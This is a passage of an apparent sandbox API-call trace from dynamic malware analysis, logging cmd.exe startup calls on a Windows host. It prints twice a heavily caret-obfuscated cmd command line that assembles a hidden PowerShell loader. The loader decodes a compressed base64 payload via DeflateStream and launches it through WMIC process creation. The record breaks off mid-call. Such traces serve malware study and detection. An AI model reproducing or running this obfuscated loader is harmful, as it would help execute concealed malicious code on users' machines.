| out: lpBuffer=0x1efcd0*(BaseAddress=0xf1000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x3000, State=0x1000, Protect=0x104, Type=0x20000, __alignment2=0x0)) returned 0x30 [0085.528] VirtualQuery (in: lpAddress=0xf4000, lpBuffer=0x1efcd0, dwLength=0x30 | out: lpBuffer=0x1efcd0*(BaseAddress=0xf4000, AllocationBase=0xf0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0xfc000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0085.528] VirtualQuery (in: lpAddress=0x1f0000, lpBuffer=0x1efcd0, dwLength=0x30 | out: lpBuffer=0x1efcd0*(BaseAddress=0x1f0000, AllocationBase=0x1f0000, AllocationProtect=0x4, __alignment1=0x0, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0085.529] GetConsoleOutputCP () returned 0x1b5 [0085.529] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d8bfe0 | out: lpCPInfo=0x49d8bfe0) returned 1 [0085.529] SetConsoleCtrlHandler (HandlerRoutine=0x49d73184, Add=1) returned 1 [0085.529] _get_osfhandle (_FileHandle=1) returned 0x7 [0085.529] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x0) returned 1 [0085.529] _get_osfhandle (_FileHandle=1) returned 0x7 [0085.529] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x49d7e194 | out: lpMode=0x49d7e194) returned 1 [0085.530] _get_osfhandle (_FileHandle=1) returned 0x7 [0085.530] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0085.530] _get_osfhandle (_FileHandle=0) returned 0x3 [0085.530] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x49d7e198 | out: lpMode=0x49d7e198) returned 1 [0085.530] GetEnvironmentStringsW () returned 0x2bf550* [0085.530] FreeEnvironmentStringsW (penv=0x2bf550) returned 1 [0085.531] GetEnvironmentStringsW () returned 0x2bf550* [0085.531] FreeEnvironmentStringsW (penv=0x2bf550) returned 1 [0085.531] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1eec28 | out: phkResult=0x1eec28*=0x44) returned 0x0 [0085.531] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1eec20, lpData=0x1eec40, lpcbData=0x1eec24*=0x1000 | out: lpType=0x1eec20*=0x0, lpData=0x1eec40*=0x18, lpcbData=0x1eec24*=0x1000) returned 0x2 [0085.531] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1eec20, lpData=0x1eec40, lpcbData=0x1eec24*=0x1000 | out: lpType=0x1eec20*=0x4, lpData=0x1eec40*=0x1, lpcbData=0x1eec24*=0x4) returned 0x0 [0085.531] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1eec20, lpData=0x1eec40, lpcbData=0x1eec24*=0x1000 | out: lpType=0x1eec20*=0x0, lpData=0x1eec40*=0x1, lpcbData=0x1eec24*=0x1000) returned 0x2 [0085.531] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1eec20, lpData=0x1eec40, lpcbData=0x1eec24*=0x1000 | out: lpType=0x1eec20*=0x4, lpData=0x1eec40*=0x0, lpcbData=0x1eec24*=0x4) returned 0x0 [0085.531] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1eec20, lpData=0x1eec40, lpcbData=0x1eec24*=0x1000 | out: lpType=0x1eec20*=0x4, lpData=0x1eec40*=0x40, lpcbData=0x1eec24*=0x4) returned 0x0 [0085.531] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1eec20, lpData=0x1eec40, lpcbData=0x1eec24*=0x1000 | out: lpType=0x1eec20*=0x4, lpData=0x1eec40*=0x40, lpcbData=0x1eec24*=0x4) returned 0x0 [0085.531] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1eec20, lpData=0x1eec40, lpcbData=0x1eec24*=0x1000 | out: lpType=0x1eec20*=0x0, lpData=0x1eec40*=0x40, lpcbData=0x1eec24*=0x1000) returned 0x2 [0085.531] RegCloseKey (hKey=0x44) returned 0x0 [0085.531] RegOpenKeyExW (in: hKey=0xffffffff80000001, lpSubKey="Software\\Microsoft\\Command Processor", ulOptions=0x0, samDesired=0x2000000, phkResult=0x1eec28 | out: phkResult=0x1eec28*=0x44) returned 0x0 [0085.532] RegQueryValueExW (in: hKey=0x44, lpValueName="DisableUNCCheck", lpReserved=0x0, lpType=0x1eec20, lpData=0x1eec40, lpcbData=0x1eec24*=0x1000 | out: lpType=0x1eec20*=0x0, lpData=0x1eec40*=0x40, lpcbData=0x1eec24*=0x1000) returned 0x2 [0085.532] RegQueryValueExW (in: hKey=0x44, lpValueName="EnableExtensions", lpReserved=0x0, lpType=0x1eec20, lpData=0x1eec40, lpcbData=0x1eec24*=0x1000 | out: lpType=0x1eec20*=0x4, lpData=0x1eec40*=0x1, lpcbData=0x1eec24*=0x4) returned 0x0 [0085.532] RegQueryValueExW (in: hKey=0x44, lpValueName="DelayedExpansion", lpReserved=0x0, lpType=0x1eec20, lpData=0x1eec40, lpcbData=0x1eec24*=0x1000 | out: lpType=0x1eec20*=0x0, lpData=0x1eec40*=0x1, lpcbData=0x1eec24*=0x1000) returned 0x2 [0085.532] RegQueryValueExW (in: hKey=0x44, lpValueName="DefaultColor", lpReserved=0x0, lpType=0x1eec20, lpData=0x1eec40, lpcbData=0x1eec24*=0x1000 | out: lpType=0x1eec20*=0x4, lpData=0x1eec40*=0x0, lpcbData=0x1eec24*=0x4) returned 0x0 [0085.532] RegQueryValueExW (in: hKey=0x44, lpValueName="CompletionChar", lpReserved=0x0, lpType=0x1eec20, lpData=0x1eec40, lpcbData=0x1eec24*=0x1000 | out: lpType=0x1eec20*=0x4, lpData=0x1eec40*=0x9, lpcbData=0x1eec24*=0x4) returned 0x0 [0085.532] RegQueryValueExW (in: hKey=0x44, lpValueName="PathCompletionChar", lpReserved=0x0, lpType=0x1eec20, lpData=0x1eec40, lpcbData=0x1eec24*=0x1000 | out: lpType=0x1eec20*=0x4, lpData=0x1eec40*=0x9, lpcbData=0x1eec24*=0x4) returned 0x0 [0085.532] RegQueryValueExW (in: hKey=0x44, lpValueName="AutoRun", lpReserved=0x0, lpType=0x1eec20, lpData=0x1eec40, lpcbData=0x1eec24*=0x1000 | out: lpType=0x1eec20*=0x0, lpData=0x1eec40*=0x9, lpcbData=0x1eec24*=0x1000) returned 0x2 [0085.532] RegCloseKey (hKey=0x44) returned 0x0 [0085.532] time (in: timer=0x0 | out: timer=0x0) returned 0x5bdac70f [0085.532] srand (_Seed=0x5bdac70f) [0085.532] GetCommandLineW () returned="CmD , , /V:On ,,/R \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co^Jf%%z^R%%HJ^V" [0085.532] GetCommandLineW () returned="CmD , , /V:On ,,/R \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ ^J^F^O6=G^('VZBba8^IwGIb/^SpA^O^E^remtR5^Aix)&& (^s^e^t c^WSV=^A^rm^U)&& (Se^T ^ ^BW7=^XV)&( ,, , ,, (^SEt ^ C^ij=^vQN) , ,, )& (Set q^X=^i^I^))&&( , (^set ^ 8^i47=^ ^{`$_), ,, )&&(^s^Et ^ ^c^wH=^kqa02Wx^1/v^fFwy52+7z^fe^+)&& (^SEt ^q0^C^c=^9)&& (SE^T ^ ^OZ=.Co^MpR^ES)&( , , , ,, (s^E^T ^ ^ ^U19=e^a) , , )&( , (set ^8R=O) , )&&( ,(SE^T ^ ^xm=^h) )&& ( , (^s^e^t v^F=^s ^h^i^dDe), )& (S^e^t ^ep3A=^Q^OyR2U^JM)&(, ,, ,,(Se^T G1^yS=^4^oTe1Nn) , )&( (s^Et ^ r^Y=uqSZ^q^t^H7Njw) , )&( , , ,(S^E^T ^a^z8=N.^D^efLa^tesTR) , )& (^SET ^ b^1=^M^()&& (s^eT ^ D^RKS=FI^l^E^ -NoL^ogO )&& (^s^eT q^G=.^I)&& (^S^ET ^Rw=2ZZ^2)&& (S^Et G^Y=CA^C0g^IO)& ( (S^ET ^ e5^S=^`^$P^S^HO^ME[30]+'x'^)\"\"^\\\"\" ), , , )& (^se^t b^aCI=4k^Bwy)&& (,, , (sE^T ^ ^LK=f^R^o^m^ba), )&&(sE^t ^lPo=^([C^hAr]44^).T^oSTRIng)&& (, (s^Et Op^1=4) , )&&(se^T ^ ^E^f=a^f^tO^sH0^5)&(SE^T LI=foRE^ach^-)&&(^SeT ^ ^dv=D)&( , (Se^T ^ ^6rH^Y=^5+8) , ,, , , )&&( , , , (^Se^T ^ dn=Y/D^6) , )&& (^SE^T ^Vp^05=n^oPR)&& (, (^set ^AN=[s^ysTe^m.I^O.ME), ,,, , )&& ( ,(s^E^T ^ ^G5Q1=-^wINDO^w), )&( , ,, (s^ET 7z=o^CESs^ ) , )& (^SeT bO^q=^o^.stReAMRE^ADeR)&& ( , (Se^T ^DG=s^uB4) ,)&&( , (sE^t LI^j=^dap^D0) , )& (SE^t a^Xch=Ho^M^e)&& (S^Et ^ ^Z13= \"\"\\\"\"^(n)&&(, (s^ET e^q=^7) , , , )&& ( , (s^et eZ^P=o) , )&&( , (s^ET DQ=sHO^M^e) ,,, ,, )&& (s^ET ^ r^M=W^M^IC.)& ( (^SET uq^LY=]::^d^EC), , , )&& ( (s^ET ^ l^6e=b^1) , )&& (sE^t P^d^J6=[^2^1]^+$Ps)&&( ,(^SET ^ ^3B=0^dG^IO^e) ,, , , , )&& (^S^Et ^ Zz^t=g^klAj)&& (^sEt s^O= ^'CA^ll'^ ^'cRe^Ate^' \"\"^po)& (^SeT ^ q^2=0v^5W)&&(^se^T ^ ^A2=Ea^cH-^obj)&& ( ,(^SE^t ^ Co^Jf=^e) ,,,)&(^sEt ^ ^e^yWN=j^D8h)&&( ,(s^ET ^ ^z^RJ=^K5) , , )&& (^SeT J^6=^Fjr^iXLMf5)& ( , (s^ET ^ J^Z=1^z) ,, ,, , )&& (,(S^eT ^M^t=/D^+iA1Um^k6y^RKXmH) ,)&&( , ,,, , (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^On^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8^e1hjBC^Xsd1^fexS2i)&& ( ,(s^ET ^ ^rj^UN=ni) , )& ( (SE^t ^H8^O=^QBL^9tiq^E^M^8^utN) ,, , )& (,(s^et bC^0=h^K) ,)&& ( , , ,, , (s^ET ^cI=^(^ ^`$^_\"\"\\\"\" ) , )&& (, ,, (^S^et ^ID=^21^]+), )&&(^sET ^ ^Dq4G=l^Ay^v^Y8Gg6lQqsD^4Yq^Rj^O)&& ( , (^SEt ^ Ea^u=S) , )&( ,(^s^Et ^Z^HTE=0^f), , , , , )&(^S^eT ^cN^Vz=^L1)& (^se^t ^oP8=p)& ( ,(^SeT ^ UQ7^k=^s^e64sTrIN), )&& (, , , , , (SE^T ^ ^7^2=^cP^V) , , , , ,)& (^SE^T ^cOyd=^RIng^(^) ^ )& (Se^T ^ X^j=+^ )&&( ,(S^eT ^Eh^p=^-ExEC^Ut ) , )& ( ,(^S^et ^h^g=+ \"\"\\\"\"[^sys^t^E^M^.^t), )& ( , (s^E^t ^ I1=W^A^Hn^u0^avhW^w^4c38X6) ,,, , ,)& (^seT ^ ^R5qC=^'^)^()& (, (SEt 3^C^he=^^^|) ,)&&(s^eT ^ HJ^VR=^ee57)&& (, (se^t ^ ^olr8=^}) , )& (,(S^Et ^I^r=^ON^.COmPR),)& (S^et ^3R^Y=^(^[ChA^r]44^))&(S^et cni^h=^E)&&(^s^eT 0^A=c^t S^Y^s^T^EM)&& (, (^Set ^ J^V^w=^od^E) , )&(^s^ET g^I=p^b^RXN^T^S)&& (^Set ^ us6=+00^z)& ( , , , (s^Et ^ C^d^J=A^p) ,)&& (SE^T bI^He=.T^oS^T)&(, (s^eT JG^A=T^]::), )&&(se^T ^ L^b=ho^M^E[34]+)&& ^sEt p^VZ=\"\"&(, (^seT ^ ^6vzH=a) , )&( , (S^eT ^u5=^E3Kyvr^/E) ,)&&( ,(^seT ^rp=^iN^G]::^aS^C), , , )& ( ,(Set m^Lwq=U^5^EyC^8^='^)\"\"\\\"\" + ), , , )&& (S^ET ^ ^bn=^)^ ^+ \"\"\\\"\"^[^IO)&( ,(S^eT ^ c^LM=M9^ArXoE^w),)& (Se^T ^ G^U=^^^|^ )&& (S^et ^ b^HT=[)&( , (s^Et c2^Q=.rE^ad^Toen^d^(^) }^)) ,, ,)&( ,(se^t ^i8T3=^(),)&& (sE^T ^0zSA=B0/^W^9pYXW^t^tmz3U^fr^So^a)&&( , , , (sE^t ^ Eh=Z^ttA), ,, ,, )& (^S^eT ^ ^ ^VDG=N^M)&(, (Se^T ^ D^vI=ES^sI^o) )&& ( (Se^t O^c^W^L= ^^^&^(^ ^`$),)&& (, , , , ,(SE^T 3^y=I^hv) , )&(^Set q^Xu=3^D^J^dlB6l^MtdrCqa^KOl0P)& (, ,,,,(^se^T ^ ^ ^Zb='^X) , , )&& , ca^LL ,, SeT q4j=%r^M%%B^9s%%7z%%s^O%%c^g%%^rj^UN%%sZ^G%%^Vp^05%%^8R%%D^RKS%%^Eh^p%%gx^b%%^6vzH%%^Rz%%9c^u^B%%^G5Q1%%v^F%%uU^H%%v^Z^c%%a^Xch%%P^d^J6%%L^b%%^Zb%%^R5qC%%^Z13%%j1%%x^S%%eZ^P%%^a^z8%%^U19%%b^1%%^AN%%Sq^5^s%%JG^A%%^LK%%UQ7^k%%^J^F^O6%%bv%%us6%%^c^wH%%c^WSV%%C^d^J%%G^Y%%^q0^C^c%%^e^yWN%%^Z^HTE%%G1^yS%%^ep3A%%^ir^1^V%%l^6e%%Zz^t%%^BW7%%LI^j%%^aMG%%I1%%J^6%%^cN^Vz%%C^ij%%b^aCI%%OE^9^Q%%J^Z%%^DG%%q^Xu%%^E^f%%x^dNR%%g^I%%3^y%%^S^l%%dn%%^7^2%%^H8^O%%q8%%^u5%%^s^Hnp%%^aw^yI%%c^LM%%^0zSA%%Op^1%%^Dq4G%%^Rw%%r^Y%%^z^RJ%%^g^Vkp%%bC^0%%^3B%%^a^g%%^6rH^Y%%^CY%%^M^t%%Ea^u%%Eh%%e^q%%^Je%%q^2%%^xm%%Co^Jf%%z^R%%HJ^V" [0085.533] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49d8c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0085.533] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2c16f0, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\cmd.exe" (normalized: "c:\\windows\\system32\\cmd.exe")) returned 0x1b [0085.533] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\;C:\\Program Files\\Microsoft Office\\root\\Client") returned 0x91 [0085.533] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0085.533] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0085.533] GetEnvironmentVariableW (in: lpName="COMSPEC", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32\\cmd.exe") returned 0x1b [0085.533] GetEnvironmentVariableW (in: lpName="KEYS", lpBuffer=0x49d7f360, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0085.533] _wcsicmp (_String1="KEYS", _String2="CD") returned 8 [0085.533] _wcsicmp (_String1="KEYS", _String2="ERRORLEVEL") returned 6 [0085.533] _wcsicmp (_String1="KEYS", _String2="CMDEXTVERSION") returned 8 [0085.534] _wcsicmp (_String1="KEYS", _String2="CMDCMDLINE") returned 8 [0085.534] _wcsicmp (_String1="KEYS", _String2="DATE") returned 7 [0085.534] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9 [0085.534] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7 [0085.534] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3 [0085.534] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x1efa30 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0085.534] GetFullPathNameW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", nBufferLength=0x104, lpBuffer=0x1efa30, lpFilePart=0x1efa10 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop", lpFilePart=0x1efa10*="Desktop") returned 0x19 [0085.534] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0085.534] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0x1ef740 | out: lpFindFileData=0x1ef740) returned 0x2c1900 [0085.534] FindClose (in: hFindFile=0x2c1900 | out: hFindFile=0x2c1900) returned 1 [0085.534] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz", lpFindFileData=0x1ef740 | out: lpFindFileData=0x1ef740) returned 0x2c1900 [0085.534] FindClose (in: hFindFile=0x2c1900 | out: hFindFile=0x2c1900) returned 1 [0085.534] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\Desktop", lpFindFileData=0x1ef740 | out: lpFindFileData=0x1ef740) returned 0x2c1900 [0085.535] FindClose (in: hFindFile=0x2c1900 | out: hFindFile=0x2c1900) returned 1 [0085.535] GetFileAttributesW (lpFileName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 0x11 [0085.535] SetCurrentDirectoryW (lpPathName="C:\\Users\\aETAdzjz\\Desktop" (normalized: "c:\\users\\aetadzjz\\desktop")) returned 1 [0085.535] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\aETAdzjz\\Desktop") returned 1 [0085.535] GetEnvironmentStringsW () returned 0x2bf550* [0085.535] FreeEnvironmentStringsW (penv=0x2bf550) returned 1 [0085.535] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49d8c0a0 | out: lpBuffer="C:\\Users\\aETAdzjz\\Desktop") returned 0x19 [0085.536] _wcsnicmp (_String1="On ", _String2="OFF", _MaxCount=0x3) returned 8 [0085.536] _wcsnicmp (_String1=":On", _String2=":ON", _MaxCount=0x3) returned 0 [0085.538] GetConsoleOutputCP () returned 0x1b5 [0085.538] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49d8bfe0 | out: lpCPInfo=0x49d8bfe0) returned 1 [0085.538] GetUserDefaultLCID () returned 0x409 [0085.538] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, 